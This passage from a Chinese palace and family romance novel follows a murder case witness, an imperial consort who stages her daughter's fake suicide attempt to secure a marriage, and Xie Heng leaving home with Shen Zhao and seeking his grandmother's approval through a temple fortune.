她好了以后准备去长安城,有几户人家还为她凑了些银子,我们欢欢喜喜地送她上路,可惜再见她时,却是在山里发现的她的尸体,王大夫检查了她的尸首,身上有几处明显的划伤,头受到剧烈的撞击,他猜测可能是不小心失足踩空。后来村里的老人死的死、走的走” 夏目话语哽咽,这十几年间,已不止经历了一代人的生死,就连当初救人的王大夫也早已离开了村子,只留她一个孤女仍记得当年的事。 她将牛家村的事娓娓道来,沈昭听着红了眼眶也不自知,直到一滴泪落在他们交叠握住的手上,她后知后觉地抹了一把眼角的泪。 因着周围全是金吾卫,又有公务在身,谢珩只能轻拍她的背,浅作安慰。 他又询问了夏目同惊云相识相处的细节,经他几番追问,夏目心中的疑惑亦渐渐清晰,虽不知他到底所犯何事,但如此兴师动众,定不会是小事。 她悬着的一颗心终是凉了半截。 念着她有孕在身,沈昭与谢珩都没有明言,惊云杀害御风的可能性最大,但仍缺失关键证据,当下也只能坐实他入室偷窃的罪名。 谢珩派人给长安传信,令手下的人速速缉拿惊云,并安排马车将夏目一起带回长安,她是其中关键人证,她怀着惊云的孩子,他不会全然不顾及她们母子。 哪怕谢珩一众表明身份,夏目仍心有疑虑,不愿同他们回去。 待谢珩外出交代时,沈昭关好门,坐在夏目身侧,她没有孕育过生命,可她记得母亲怀孕的艰辛,她主动帮她权衡:“若是你在此处没有相识的人,不如同我回长安,毕竟那儿的大夫更多,”总归她现在也算个小富婆,“我会请个婢女照顾你,直到你顺利生产。” 她笑得干净纯粹,恍然间,让她回想起那年王府家那个走失的小姐,她心里的防备卸下几分,几番思量,终于应下她,愿随他们一起回长安。 沈昭一路上照抚夏目,马车缓缓前行,三日之后终于返回了长安,他们租了一间小院,派两人值守,惊云也在第一时间内被缉拿归案,但他只认下财迷心窍,去御风家取了些金银细软,其他一概不认。 谢怀瑾的死讯亦随着颠簸的马车和深浅不一的车辙印,在这三日被他们慢慢接受。 沈昭先一步回了国公府,春宁和夏安两个丫鬟这几日急得彻夜难眠,她临走时,本说最多四日就回来,可足足到了第六日,她们才见着小姐的身影。 春宁忙着吩咐烧好热水,端上水盆,张罗着帮她沐浴更衣,夏安则挽着她的手臂,更好奇小姐此次出府可遇到什么有趣的事,求着说与她听。 沈昭刚刚压下的情绪,被她们一口一声“小姐”唤醒,心中又多了一丝苦楚,真正的谢怀瑾早就入土为安了。 沈昭平日总喜欢同她们说笑,可今日却一反常态。 春宁看出她有心事,不欲打扰,将夏安拉到一旁,让她去添水。 沈昭问向她:“这几日母亲可来过?” 春宁:“夫人倒是没来过后院,但她身旁的婢女来问过,我依着小姐安排说了,她并没有细问就走了,这几日夫人盼着少爷回府,倒再没问过小姐的事。” —— 兰香殿中,李玥跪在地上,如贵妃却一脸愁容,如玉的面庞皱得像风干的橘皮。 自上次沈昭进宫过了数日,她日日盼着她再来,既想知道又怕知道高峻的心意。 她耐着性子等,可她的母妃坐不住了,哪怕圣上下令严禁市井之中再流传任何谣言,可欲盖弥彰,反倒更引人怀疑。 如贵妃经营半生,本不争名逐利,只图圣上多宠她几时,可圣上已有月余没到她的寝宫来了,她开口道:“等你父皇下朝后,你去求他赐婚,至于你中意于谁都可,快将此事定下来。” 李玥摇着头挪着膝盖退后,她一向乖巧,幼时饿了都不会哭,只两腮鼓起,上下瓮动唇齿,宫里的乳娘们带着她亦省心,都喜爱逗她,哪怕一时重了手脚,她也只睁着圆眼,裂开小嘴,不哭不闹。 如贵妃心中虽有不舍,但女儿之情哪比得过天子颜面,总归她早晚要嫁人,这一遭事,不过提前罢了,当务之急便是将此事尽快了了,为陛下分忧,保住皇室颜面。 “不,”李玥努力从嘴中挤出这一个字,她不想勉强高峻,若是高峻不愿意,她也不想随意寻个人打发了。 她不知除了高峻她还能嫁给谁,她的心沉了沉,若不是高峻,总归嫁给谁都是一样。 但她不能以婚事相胁。 如贵妃不可置信地看着面前娇弱的女儿,一向乖巧懂事的孩子竟拒绝得如此干脆,这是她第一次当面反驳她。 真是女大不中留。 如贵妃怒斥她:“那你究竟想如何?我怎会有你这么个不争气的闺女,平日里怯懦便罢了,如今确实连个男人都留不下,我的脸都被你丢尽了。” “我不想逼他,”李玥握紧拳头,指节泛着淡粉色,鼓起所有的勇气,“请母妃再宽限我几日,我若知晓他的心意,定会去求父皇下旨,求母妃开恩。” 如贵妃不可思议地看着她,险些怀疑她耳中生疮,错会了她的意:“你说的这是什么话,你是我大齐金枝玉叶的公主,何谈逼迫?多少人梦寐以求想当驸马,都不够格, 哪怕你清誉有损,嫁到高家,亦是高看他了。” 李玥咬唇跪于地上,像一头拉不回的小牛,不愿再多说一句。 如贵妃看得明白,这孩子全身上下冒着傻气,明明心悦高峻,偏生为了维护他的颜面,等他的回应。 可若一个好儿郎真心待你,将你放在心上,又岂会让你日思夜想,暗暗揣测他的心意,只怕别人偷瞧你一眼,他都忍不住动手。 她虽然没得选,但是她不能让自己的女儿吃这份苦,既然她在意高峻,那么,他不娶也得娶。 如贵妃给身旁的婢女使了个眼色,两个婢女上前,将她架至一旁:“得罪了,公主。” “你们要干什么,母妃?”李玥挣扎着起身,却被她们死死握住双臂。 如贵妃走出寝殿,将自己的安排告诉身边体己的几个太监,她望向远处金碧辉煌的宫殿,口中低喃:“玥儿,母妃不会害你。” 几个太监搬着木凳,又取了几条披帛缠绕在一起,一人战战兢兢踩上凳,拎着披帛的一端朝屋内房梁上一抛,披帛绕过房梁自然垂下,他将垂落下的另一端与手中这端,牢牢系了一个死结。 木凳并未扯走,如贵妃上前用力扯了扯环在房梁上的披帛,很是牢固,她着人将公主押上前。 又将提前备好的请婚表呈在她眼前,其中提到的驸马名字仍空着,太监呈上笔墨,如贵妃:“既然你如此爱慕高峻,那便由你亲自写下他的名字吧。” 李玥摇头似拨浪鼓般,陌生地看着眼前的母妃,她从未在母妃眼中看过如此决绝的神情。 “来人。”四名丫鬟上前将她困在原地,一人去掰她的手,逼她去写,李玥的手紧紧背在身后。 如贵妃不欲再拖:“罢了。”她径自取了笔,在纸上赫然写下高峻的名字,“去,待皇上下朝后,递给他身边的高公公,就说公主誓死要嫁高峻,悬梁自缢了。” 李玥猛地睁大眼,雪腮霎时褪尽血色,不敢置信地望向她的母妃,扭着手腕,拼命挣脱丫鬟们的束缚,却被死死摁下。 如贵妃一步步向她走近,眼眸染了血色:“玥儿,此番亦是无奈之举,你莫怪母妃。” 第44章 御书房内龙涎香烬,更漏将残。 国事繁重,案头奏章堆积如山,朱批未竟的折子散乱陈列,墨迹犹新。 景明帝眉间的皱纹深深凹陷,像错落无序的山川沟壑,无法轻易抹平。 孑于和周边小国虎视眈眈,似有联合之意,边疆军队整备,也许一场硬战在所难免。 高公公照例捧盘过眉,向他呈上今晚侍寝的绿头牌:“恭请万岁爷示下,今儿个该哪位娘娘侍寝?” 恰巧景明帝翻开高坤递上的奏疏,他紧锁的眉头有了几分波动,眼眸微眯,将奏疏上的字来回逡视两圈,将奏疏扔到高公公举着的木盘上:“如贵妃吧,朕有一桩喜事要告诉她。” “是,陛下。”高公公恭敬地将奏疏放在桌案一旁,复又端着银盘退出御书房。 如贵妃待高公公一向不薄,又盛宠优渥,他自然小心关切,他吩咐他的干儿子传信,“去先告知如贵妃一声,今晚圣上御驾,似有高府的喜事说与她。” 这方刚得了吩咐,另一个小太监慌慌张张地向他跑来,他低声喝道:“这是哪个寝殿的奴才,如此没个分寸,也不怕惊扰了圣驾,快!拖下去,好好教教他规矩。” “好像是如贵妃宫里的人。” “慢着。”高公公呵声止住,怕扰了圣上清净,引着小太监走至一旁,“何事?如此慌慌张张——” “公主誓死要嫁高峻,悬梁自缢了!”小太监跑得气喘吁吁,仍记得贵妃叮嘱,张口直言。 “什么?!”哪怕跟在景明帝身侧,见惯朝堂浮沉的他,都瞬时慌了,他催促道,“还不快去请太医!”说着便颤巍巍推开御书房的门,“圣上,您快去兰香殿看看吧” 待景明帝一行匆匆赶到时,太医已为李玥看诊号脉,施完针了。 李玥躺在床上,脸色惨白,眼角的泪痕将脸上的胭脂色晕开,云鬓蓬松零乱,几缕青丝狼狈地贴在脸上,脖颈之上还有着一圈圈红痕。 但若细看,便知上吊自缢的痕迹多在下颌与脖颈相接处,可她的红痕却正当当的在脖颈正中。 如贵妃也没想到,平日温顺的女儿如今倔得像块顽石,只得狠心演一出戏,让太医配合让她哑声几刻,希望能得皇上一丝垂帘。 圣驾到时,太监宫女跪了一地,小声哭泣。 景明帝大步跨入内,见到躺在床上的李玥,心霎时软了:“傻孩子,你同父皇开口,父皇岂会不答应你,何必至此。” 李玥忽闪着睫毛,唇瓣开合,却吐不出一个字,憋得眼睛通红。 景明帝看向一旁的太医,怒道:“公主如何?朕养你们这群人有何用。” 太医伏跪在地:“陛下息怒,公主受了惊,气滞血瘀,当下只怕是急火攻心,肺腑不通,臣已经为公主下针,着人去煎药了,只需静养几日,公主定会有所好转。” 他虽应着陪贵妃演这一出戏,但万万不敢欺君,他所言不假,李玥想告诉父皇这一切都是母亲的安排,但却如何都说不出口,手脚又被束缚住,旁人只道是怕她在寻短见,但如贵妃一等却心知肚明,只是怕她胡来,打乱了他们的计划罢了,可不就是急火攻心。 景明帝坐在一旁,慈爱地握住她的手:“玥儿莫急,你的婚事朕已有安排。”他让高公公呈上高坤的奏疏。 如贵妃竖起耳朵,但低垂着眼,不敢僭越。 他将奏疏展开,亲自悬在李玥眼前:“哪怕是你不提,高家请朕赐婚的奏表,今晨也送到了御书房,既然你们两情相悦,朕自是不会做这个恶人,宫里也很久没有喜事了。” 李玥眼眸中的泪泫然而下,泪珠儿扑簌簌地滚落,笑涡生靥。 如贵妃放心地轻呼出一口气,终是不枉费她一番折腾。 与宫内的喜气不同,整个晋王府看似风平浪静,实则却像暴风雨来临前的最后一丝静谧。 铅灰色的暗云滚滚压卷,山雨欲来。 惊云收押待审,谢珩回左衙处理了这几日的公务后,才赶回王府。 他前脚踏进门槛,等他数日的家仆,像窜天猴般蹦起,急匆匆去给李立雯报信:“少爷回府了!” 他回府后第一时间去给母亲报平安,李立雯早已恭候他多时,她遣去身旁的家仆,直接同他摊牌道:“我已知道府里的那个姑娘不是我的瑾儿。” 谢珩面容肃正,并不惊讶,这几日外出,他思考过母亲下药的诸多可能,这也在其一。 他撩袍跪于地上:“此事皆因我所起,还请母亲责罚,我因祖母病重,才出此下策,以重金聘沈昭入府假扮怀瑾,但她并非有意欺瞒,一切只是依着我的安排行事。” 好啊,是她教出的好儿子,事到如今,还在袒护她。 她端坐于主位之上,发髻上的金步摇纹丝不动,仍保持着风度,可垂珠却在她额前投下森冷阴影,覆在倒竖的细眉之上:“那你对她动情,亦是在你计划之内,还是被她玩弄于股掌之中?” 他跪在青砖上的膝盖微动,从喉间挤出几个字:“母亲明鉴,是我对她有情在先,她自入府以后,从未对我有任何逾矩行为,府里上上下下的人皆可为她作证。” 李立雯声音不由得高了几分,语气里带了一丝笃定:“哪怕她失了身子,并非清白,你还能说出此话么。” “是,”谢珩毫不犹豫说出,“我钟情于她,自不会在意她的身份、家世,和母亲口中所言,也不会让她受到任何伤害。” “你”檀木桌案被她的广袖扫过,杯盏怦然坠地,碎瓷四溅,她被谢珩气得一句话都说不出。 谢珩垂首,静跪于一侧,身姿却挺拔如松,岿然不动。 半晌,李立雯揉着太阳穴不住叹气,眼底的怒气渐歇,霎时间苍老了许多:“罢了,你们年轻气盛,你房里一直没有陪侍,只是一时图个新鲜罢了,倒也怪不得你,只是如今长安城中所有人皆知她是你妹妹,若她没有这层身份,还可留在你身边当个宠妾。” 谢珩反驳:“我尚未娶妻,何来纳妾一说,我自不会让她自降身份当个妾室。” “你的礼义廉耻都用在何处了!你知不知道你是谁?”李立雯怒击桌案起身,质问他。 总归话已说尽,母亲断不会将沈昭留在府中,何况他再也寻不回谢怀瑾了,他直言说道:“母亲,既然事情因我而起,我会自请认错,还她本来的身份,至于怀瑾” 他犹豫再三,他斟酌过后,不忍心将她的死讯合盘说出,只得缄默不言。 李立雯始终想不明白,她半生心血尽付于他,谢珩倒也争气,长成剑眉星目的俊逸模样——书院的夫子赞他文堪咏絮,武场教头称他百步穿杨,就连节度使大人入府作客时,也要叹一句:谢家公子芝兰玉树,冠绝长安。 其他孩童皆嬉闹于花荫,斗草掷果时,唯独他将自己关在书房或者武场。 一呆便是一天,甚至忘了吃饭喝水,哪怕府里家丁劝他休息片刻,他都直言拒绝。 偏是这般省心的孩子,如今竟敢欺瞒于她,甚至不惜顶撞她。 虽然已经提前安排下人避退,但他们两人的争吵仍在府中传开了。 夏安惯爱凑热闹,这次听着听着却变了脸色,她嘴里的怡糖瞬间不甜了,匆忙往后院跑,大声道:“小姐,小姐出事了!” 但李立雯毕竟只有谢珩一个儿子,天大的事都好商量,岂能因为一介女流凭白多生了嫌隙,念他从未经过男女之事,不过是初尝到了点儿甜头。 她放缓了身段,语气亦渐渐平稳,劝道:“珩儿,此事暂且压下,先别让你祖母知晓,她身子刚好,容不得你们再气她一次了。” “母亲,我意已决,无需多言。”谢珩郑重地跪拜后,起身离开。 院中虽然无人敢靠近,但走出这院子,游廊、水榭、附近的竹林都挤满了人,见谢珩踱步而来,她们作鸟兽状四散。 谢珩则直接带着杨方去了沈昭的后院。 方才夏安来报时,沈昭还在摆弄院中的花草,拿着花剪修剪枝丫,听到谢珩同母亲大吵后,她稍一疏忽,斜斜剪去了指甲的一角。 夏安上前扶住她的手:“小姐,可有伤到?” 沈昭放下花剪,手无力地垂于身侧,辞别似的叹道:“无事,以后不用叫我小姐了。” 纸终究保不住火,在李立雯设计她和高义信的那晚,她本该猜到会有这一日。 只是未曾料到竟这般快。 话语间,谢珩同杨方已至院内,他吩咐道:“春宁夏安,去帮你家小姐收拾行李。” 两人连声应下,眼前的人哪怕不是小姐,这几月的相处却待她们亲如姐妹,从未苛责过她们,连句重话都不曾说,她们心中虽不舍这段快活日子,但不敢忤逆主家吩咐,转头进了屋。 还不等沈昭问出口,谢珩直直走向她,与母亲刚争执过后,他的眉宇间犹带三分冷意,却在看见她的一瞬,化作一片温融春水。 “跟我走。” 他不由分说地牵起她的手,指节擦过她刚刚剪下的那一小块残缺,捏住她欲缩回的指尖。 日光落在那片残缺的指甲上,像上好的杯盏被碰缺了个口。 他指腹轻轻抚过那道弧线,粗粝的茧子蹭的她掌心发痒。 方才在厅堂里剑拔弩张的气势,此刻全化作了拇指小心翼翼的摩挲。 沈昭眼眶倏地发热,缺了的指节被他的温度紧紧包裹,青石板上两道影子相依,她残缺的指尖抵在他深深的掌纹里。 第45章 既然母亲李立雯已知晓一切,甚至设计污沈昭清白,若继续留她在府中,谢珩不敢细想会发生何事,总归将话挑明了,他也无需再遮遮掩掩,握着沈昭的手又紧了几分。 府里看热闹的家仆们在他们身后窃窃私语:“少爷和小姐去哪?” “只怕下次得改口,小姐要成为少夫人了。” “怎么可能,我入府以来,还是第一次见夫人如此震怒,她肯定不会应允。” “但是少爷和小姐,不,和这位姑娘确实很相配,你何时见少爷顶撞过夫人。” “还不去干活,夫人正在气头上,仔细你们的皮!”众人心思全在他们二人身上,完全未注意到王管家悄声站在他们身后,他突然出口质问,吓得他们差点惊呼出声,只低头认错,各自散了。 他远看着他们两人的离去的身影,只无可奈何地叹了口气。 谢珩翻身上马,而后向她伸出手,他眉宇间仍有未散的怒意,但眼眸深深只在等她的回应。 出入府时,那个与她自动隔开四五人距离的他,当下却毫不避讳地邀她同乘,带她逃离王府。 家丑不可外扬,谢珩与母亲的争执在府里姑且能被压下,可若真走入市井街巷,被有心之人捕风捉影,他此举算是自绝同长安氏族联姻。 沈昭心中有几分犹豫,她入府的初衷是为着老夫人的身子,可经这么一闹,若传扬出去,只怕一切尽废。 她尚未清楚知道谢珩与母亲争吵的具体事缘,只从家仆的低语中知晓她伪装成谢怀瑾的事败露,她劝道:“谢珩,不如你同你母亲好好解释,毕竟当日你祖母情况危急,你才不得已出此下策。” 谢珩俯身,一把拉住她的手臂,将她拽入怀中:“抱紧。”他嗓音低哑,手中缰绳猛地一勒,俊马嘶鸣,扬蹄狂奔,只留一深一浅的衣袂在空中翻飞。 沈昭被他牢牢圈于怀中,紧紧锢在身前,她后背紧贴着他滚烫的胸膛,耳边是他压抑的喘息。冷风刮过面颊,却吹不散萦绕在两人之间灼热的气息。 他们一路狂奔至城郊,这几日安顿夏目时,她作为御风案子的重要人证,还有孕在身,需得严加看顾。 谢珩为了乱人耳目,多租了一间二进的私院,未向任何人透露夏目所在,便是连杨方都并不知晓此人。 “你要带我去哪?”沈昭问向他。 他未答,只将披风一展,将她整个人裹进怀里,抱的更紧,力道大得几乎让她发疼。 深秋时节,地上落叶堆积,铺成一片金色。 马蹄踩碎干枯落叶,踏破四野宁静,他们穿过郊外密林,月光被枝叶割裂,斑驳地落在两人交叠的身影上。 他的下颌抵在她的发顶,呼吸沉重,似在极力克制什么。忽而头顶的那力道松开,耳畔轻拂过一阵热息,那片温软轻轻覆在她耳上,他低声说:“母亲,知道你我的事了,并不仅是假扮谢怀瑾的事。” 她恍然才悟,谢珩在府里大闹一通,原是为了她。那他毅然带她出府,便是决计不再给他自己留一丝退路。 她仰头,瞥见他紧绷的下颌,月色洒在他的侧脸,更增了一丝清冷,他的眼眸逆着月光,暗潮翻涌,如深渊般噬人。 “那你——”刚说出口的话,被他猝然落下的吻压住。 她偏头欲躲,喉中发出一声浅溢的呜咽,他捏住她的下颌,不容她抗拒半分。 与他醉酒那次的霸道吞噬不同。 他的唇浅尝辄止地轻触,饶有兴致地撩拨,落下细细密密的触碰,偏偏她被他的大手钳住下颌,动弹不得,只得任由他索取。 可不消片刻,他的吻便猝然加深,像干渴多日的野兽在山野之中偶得一泓清泉,只想侵占、吮吸这汪甘霖。他滚烫的舌撬开她的贝齿,难舍难分,逼得她呼吸凌乱,指尖无意识攥紧他的衣襟。 沈昭并非不愿,可在这荒野郊外,虽四下无人,她心中的羞涩更甚。 似是注意到她的分神,他鸦羽般的长睫慢慢抬起,眼中深沉化作浓浓的火,彷佛将她融化,他低垂眼眸,瞥见她斜扭着的雪颈,轻轻在上落下一吻,又贪恋着一口一口在上留下他的痕迹。 她被他亲得完全软在他的怀里,忽觉眼前景色一变,握着她腰肢的双手发力,将她托起,身下的衣裙在空中轻转,她的身子调转方向,同他相对而坐。 夜色沉浓,两片云交叠难分。 谢珩捏住她的下巴,拇指摩挲过她柔软的唇瓣,被他细细吻过的唇饱满又浓艳,像沾着晨露的果子,让人忍不住吮咬。 “如此,可好?”他低笑,灼热的气息,抚过她轻颤的睫羽。 未等她回应,谢珩已低头含上她的唇,吻得又凶又急。 分明他们已亲吻过多次,试探性的、炽热的、纠缠的,可每一次都让彼此更加亲密。 他的掌心温热,怕她摔下马,只扶着她的腰,可却烫得厉害,惹得她不由得轻颤。 沈昭面颊发烫,被他吻得香汗湿透衣衫,豆大的汗珠沿着雪颈滑落,却烫到谢珩的身上。 心中似有万千情意涌动,化作紧紧的拥抱。 沈昭如同迷途的旅人行走在雨林之中,看不清晰眼前一切,却无限放大了所有感官,听得到水声细细密密落在耳畔,温热、湿润,将她全身打湿。 宽阔的叶片时而轻轻擦过她的脸颊,痒得她忍不住轻颤,时而又将她裹得紧实,喘不过气。 “别躲…”他低喘着,将头埋进她的颈窝,灼热气息喷洒在她的颈侧,酥麻感顺着她全身血液游走,蚕食她的理智。 身处密林之中,最怕被藤蔓缠住,稍有不慎,便不敢轻易动弹。 她惊喘一声,眸中水光泛泛,被他吻的发红的唇微微张着,她去扯他的手,却反被他紧紧扣住,像挣不脱的稚鸟。 他手上的动作却温柔至极,指尖轻拢慢捻,逼得她眼角沁出泪来。 马儿忽得打了个响鼻,惊得怀中的人儿瑟缩一下,他不耐地瞪了马儿一眼,忍住心中低咒,勒马而下,将沈昭打横抱起。 她藕臂交叠搭在他的身上,像被雨打湿的花儿,无力地依附于粗壮的虬枝,忽得身下一轻,她惊呼还未出口,便被他以唇封缄,一路吻至宅院朱门。 偌大的院中空无一人,谢珩初选此院,概因金吾卫中消息往来繁杂,怕他们的置办传到惊云耳中,让他借机逃了。 这方宅院的主人带着家中老小移居南方,久无人居住,但每月仍派人洒扫,维持原貌,院中的盆景树木,四时常绿不歇。 谢珩将门反脚踢上,径自抱着她向厢房中大步走去。 锦帐内还存着淡淡的沉香香气,他托着她的脊背,欺身而上,腰间的细带早被他扯开,层层裙摆垂落,玉扣坠在地上,清脆一响。 她害羞得抬手想遮挡他的视线,却被他情意缱绻又坚定地扣住手腕。他眸色深深,指尖轻轻略过她的颈间,带起一阵细微的颤栗。 他附身靠近那抹朱唇,在呼吸交融之际忽然停住,燃着柔情的眼睛望进她的眼底。 腰间蹀躞带松开的声音在静谧的夜色里格外清晰,她攥着锦被的手指微微发颤。 当温热的掌心贴上她的柳腰,那日在山洞中的记忆慢慢苏醒——交织的呼吸、相贴的体温、唇齿间的流连,还有比夜火更灼人的心跳。 “可以吗?”他沙哑带着些微颤动的询问落在她耳畔,像夜风拂过湖面。 他便是如此,哪怕已同她离开王府,但他亦会视她如珠如玉,尊重她每一个意愿,哪怕当下他情难自抑,亦不想勉强她。 “嗯。”沈昭眸中含水,从喉间轻声呜咽一个字,又翁动朱唇,“你有没有可以避孕之物?我不想喝避子汤。” 谢珩眯起眸子,他转瞬便明白她口中所言,恰是那日高峻赠他的“好物”,可他们离府时匆忙,他并未将此物带在身上,他的唇贴在她耳边,声音低哑:“我有,可是今日没带在身上。” 他同样不想让她喝那些苦药,且不论对身子是否有损,是药三分毒,哪怕是一次,他也不舍。 他粗喘着气,柔情似水的眼眸渐渐染上苦涩,他不得不在情|潮汹涌之际停住。 谢珩松开桎梏着她的手,克制地翻身躺在一旁,被衣物遮挡的手臂上青筋暴起。 他闭了闭眼,三书六礼未下,她的顾虑自然不假,他硬生生地抽身而起,踉跄着走至窗前。 夜风灌入,吹散一室的旖旎,他攥紧窗柩的指节发白,背紧绷如弦,分明在极力克制情动。 沈昭拢着凌乱的衣襟,支起身子,望见他被欲念所折磨,却仍守着底线,不勉强她一分,心头忽得一软。 哪怕她牵着他的手引他入座,他亦瞥开眼眸,不敢多看一眼,生怕一眼便无法自抑。 月光如水,照见君子端方。 两人奔离出府的第一晚,他们却分榻而睡,谢珩一夜无眠,打了些凉水,冲洗了数遍,却依然浇不灭已燃起的火,洗不净他身上的每一寸,就连呼吸都是她身上甜甜的花果香。 沈昭听着院内的打水声,饶是再想逗弄他的心,都不忍了。 第二日,谢珩顶着眼下的青色,早膳时,独自低头看着桌上的膳食,不言语只一味地将其中的肉夹到她碗中。 沈昭碗中清粥之上很快堆得冒了尖,她笑道:“若整日这么吃,不出半月我便圆得只怕连衣裙都不合身了。” 谢珩眼中柔着蜜意,唇角勾起:“若是衣裙不合身,便再请绣娘做新的便是,燕环肥瘦各有其美,盈盈一握也罢,软玉温香也好,总归你是我心头最重。” 他的话比饴糖更甜。 沈昭已饱了八分,她用帕子轻擦唇边,凑上前在他脸颊上落上一吻:*“传闻你文武双全,我原先不知,没想到你竟这么会哄人欢心。” 她的薄唇一触即离,还未起身,却被他猛地一拉,揽入怀中,他的手轻抚上她的脊背,倾身衔住她的唇,几经厮磨,不舍地将头偏开,喘息不均。 自他们相遇,无论是他重金聘她入府假扮,亦或是他做的所有事,总是重行动少言语,甚少承诺,他诚实说道:“此话可只对你讲过,母亲的事,是我思虑不周,让她察觉了你我的事,我定会对你有个交代,十里红妆迎你入门。” 结婚一事,沈昭从未设想过,穿越之前她就对此兴致缺缺,只攒着积蓄谋算着日后为自己养老,末日来临,便是连养老的顾虑都没了。 可横亘在她与谢珩之间的,又何止是两个时代的区别,无论何时都讲究个门当户对,她不奢求永久的真心,能把握住当下的幸福便极不易了:“我不想令你为难,尤其是你祖母的身子刚好,更需要静心休养。” 他温柔地将她鬓角落下的几缕青丝拢至耳后:“放心,此事暂时不会惊扰到祖母,若是母亲最终仍不松口,你可愿我随你去九州?若是晋国公府不能容下你我,不如我去你的故乡,了解你的一切。” 沈昭心头蓦地一软,她倏然咬住唇内软肉,他的话仿佛带她回到曾经的夏天,风扇扇页呼呼转个不停,吹起的风将她的青丝吹乱,她偷尝家里的梅子酒,酸涩里却沁着丝丝缕缕的甜。 莫说九洲只是她信口一言,在舆图上无明确标记,便是真有此处桃源,他竟愿舍弃现在的一切随她去完全陌生的地方。 那双总是噙着霜雪的深眸,此刻蕴着光,倒影着她微微颤动的长睫,一寸寸抚过她的眉眼,仿佛要将她看到魂魄深处。 克制愈久的深情被他熬得愈发浓稠,他凝视的力度那般重,却又轻的像是怕惊扰了栖在花瓣上的蝶,连她鬓边新生的碎发,都被这目光熨得微微发烫。 沈昭俯身在他前额上轻轻留下一吻,柔声说:“那可要看你表现咯。”她被他紧紧锢在怀中,他双臂环住她,恨不得将她揉碎进自己的身体,但只静默了几息后,谢珩强忍着放开:“等我回来。” 谢珩安排杨方置办府中所需,又另寻了家丁和婢女,因着谢珩并未出面,无人知晓他们的身份,众人忙着清扫、洗濯、摆件、布置…昨日还冷冷清清的庭院,霎时热闹起来。 他交代完左衙内的事务后,快马加鞭去了一趟祖母修行的寺庙。 他手里拿着写有沈昭生辰八字的庚帖,犹豫再三后,先拜访了寺中住持。 谢珩一向不信此事,长安城中常住百姓近千万户,若是仅凭生辰便可草草决定两人是否适合婚配,那同年同月同日同时辰的所有人,岂不是都相合。 但他的祖母对此深信不疑,他抱着一试的态度,若是这僧人测得他们二人相克相冲,那便将庚帖撕了,全当他今日前来只为探望祖母;若是八字相合,那这一遭亦不算白走,总归多了一分让祖母宽心的筹码。 住持眉须皆白,仔细看过他递上的庚帖,慈眉善目地对他说道:“施主稍候片刻,容老衲一观。”住持转身步入内室,指尖轻捻檀珠,推演五行生克。 谢珩坐于外间,手指不觉在桌上轻扣,时不时向一旁的幕帘望去,只听得其中的细小动静,却迟迟不见住持的身影。 他无奈嗤笑自己,竟将这几份希冀寄托于缥缈之物,倒比他参加科考时还要紧张,掌中不觉沁了一层薄汗,窗外鸟儿的叫声扰得他更加心神不宁。 约莫一炷香的时辰过去,住持手拿红笺,从内室走出,双手合十低眉:“施主久侯,婚事重在二人同心向善,每年虽来我寺中合婚者之众,但八字仅作参考,修行善业、彼此包容才是根本。” 谢珩同样回之一礼:“住持所言极是,九如虚心受教,日后定日行善事,积累功德。” 他嘴上应允下,但心中的担忧反倒被面前的僧人激起,住持没有直接明言他们二人八字是否生克。 悬在心头的答案吊的他不明不白,倒不如全当他未来过,心中计较权衡一番,谢珩刚欲请托离开,住持适时递还给他庚帖,并以红纸写下几句签文: “二人天干地支皆无克,八字相合,红鸾星动,当是一段良缘,不过还需历经一番波折,缘分深浅在人,天机亦不全然既定。” 谢珩双手接过住持给的签文,对其郑重一礼:“多谢住持指点迷津。”他又为寺庙添了些香火钱,拿着住持写下的签文转身去探望祖母。 他从前从不信命数,但经住持一言,倒与他和沈昭当下的处境不谋而合,听到“良缘”二字,喜不自胜,哪怕是天大的波折他亦欣然往之。 但出家人不打诳语,住持将所推演的内容,一一写于信笺之上。 谢珩盯着红纸黑字,果断地将写有波折另一半撕去,最终落笔只到良缘二字。 他踱步向着祖母清修的佛堂而去,已到用膳时辰,佛堂中只有他祖母一人跪在蒲团之上,双手合十于面前,眼眸微闭,嘴里小声念唱。 谢珩不忍扰她清修,便候在堂前屋檐下,直到他祖母拜了三拜,缓慢起身,瞧着他的背影,欢喜道:“是珩儿么?” 谢珩转身上前扶她:“祖母,是孙儿不孝,久未来探望您。” 她祖母外出修行时,一切从简,连房内侍奉的婢女都不会带来,即是清修,自然要脱于红尘之外,免于此等俗事。 以往李立雯还陪她来过几次,她虽不是先帝身边最宠爱的公主,可自小身边不缺人侍奉,就是清粥都得由下人用蒲扇扇至入口适宜的温度,才能入她的口,在府里便骄养惯了,来寺中几次,大大小小的包裹和婢女,便是放行李的马车都需另遣一辆,倒不像清修,更像出游。 一来二去,她祖母只愿自己图个清净。 “你公务繁忙,能记挂着我老太婆便是有心了。” 她的祖母身子已完全无碍,也能随着众修士晨起上早课,跪在蒲团上,一跪便是几个时辰,亦不觉疲惫。 在此红尘之外,完全隔离俗事,心更静了,神清气明。 两人说着往斋堂走,用完饭的僧人和香客从内走出,迎面而过时,双手自然合于胸前,微微低头,互表敬意,道一声“阿弥陀佛”。 谢珩跟在他身后,学着他们的模样,随着一礼。 因着今日来往香客多,留在寺中用饭的人不少,桌案上摆了三大盆素菜和一盆米饭。 斋堂需静声,两人相对无言,各用各的,用完饭后,谢珩将他们的碗筷洗净,陪着祖母回了她休息的寮房。 寺庙中的寮房除了高僧和主持住单房之外,大多由数人合住,他的祖母虽不讲究这些,但主持念着她常年清修在此,年纪大了难免不便,就另为她设了一间,由她独自居住。 两人回房,谢珩知她歇晌后,下午仍需要听经闻法,不便多作打扰,从怀中拿出住持写下的签文:“祖母,我嘱意于一人,这是她同我合婚的八字,无冲无克,还请您过目。” /:. 祖母听闻后,眼中眸光顿时清明了几许,笑着接过信笺,目光从上到下仔仔细细看过,不住地说道:“太好了。”但她瞧着这撕去一角的信笺,又轻轻皱眉。 谢珩在她开口前解释道:“是我大意,拿的时候失力,不慎将其撕毁了一角。” 念着珩儿一向守礼有节,祖母不疑有他,但她很快发现不妥:“怎的是由你亲自送去合婚?” 按说只需女方提供生辰八字,由媒人操办,便是再过郑重对待,也该由他的母亲李立雯操持,怎么由珩儿亲自来办。 谢珩一时语塞,他只想着先以迂回之术,得了祖母的首肯,祖母信佛信命,若是两人八字合宜,便是有几分胜算在手,哪知其中还有如此讲究。 祖母见他犹豫不言,当即明了,若是门第相当的姑娘家,何需珩儿如此大费周章,还得先来讨她老人家的欢心,只怕是该女子够不上李立雯的眼。 但能让一向沉迷于公事、不务外俗的珩儿,费心至此,可见他当真是花了一番心思。 